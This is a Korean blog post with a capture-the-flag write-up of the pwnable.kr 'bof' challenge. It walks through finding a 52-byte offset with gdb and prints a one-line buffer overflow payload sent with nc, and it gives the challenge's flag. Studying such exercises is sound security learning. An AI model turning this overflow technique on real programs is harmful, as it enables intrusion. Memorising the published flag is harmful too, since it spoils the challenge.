나혼자 공부장

[pwnable.kr] bof write-up 본문

pwnable/pwnable.kr

[pwnable.kr] bof write-up

라부송 2019. 11. 21. 01:42

일단 위 다운로드 링크들을 linux 환경에서 모두 다운받아 준다.

nc 명령어 같은 경우는 지금 당장은 신경쓸 필요 없고, 이후에 결과를 출력할 때 쓰일 것이다.

 

 

bof.c

일단 레벨의 이름이 bof이니 buffer overflow를 이용하는 문제이다. 다운로드 한 소스코드를 열람했을 때 다음과 같은 코드가 보인다. gets로 입력을 받는 부분, 즉 overflow 변수에서부터 오버플로우를 일으켜 main의 func 함수 파라미터로 들어가있는 하드코딩된 문자열을 0xcafebabe로 바꿔주면 된다.

그러나 정확히 어느 정도의 바이트를 오버플로우를 일으켜야 하는지 알기 어려우니 gdb로 자세히 살펴보자.

 

 

disas main
disas func

overflow 변수의 위치는 ebp-44 이며, key의 위치는 ebp+8 이다.

그 차이 52 byte 만큼을 매꾸고, key 자리에 0xcafebabe 를 채워주는 형태로 페이로드를 짜면 될듯 하다.

 

(python -c 'print "\x90"*52 + "\xbe\xba\xfe\xca"';cat) | nc pwnable.kr 9000

 

 

flag : daddy, I just pwned a buFFer :)

'pwnable > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] flag write-up  (0) 2019.11.21
[pwnable.kr] collision 풀이  (0) 2019.11.14
[pwnable.kr] fd 풀이  (0) 2019.11.14
Comments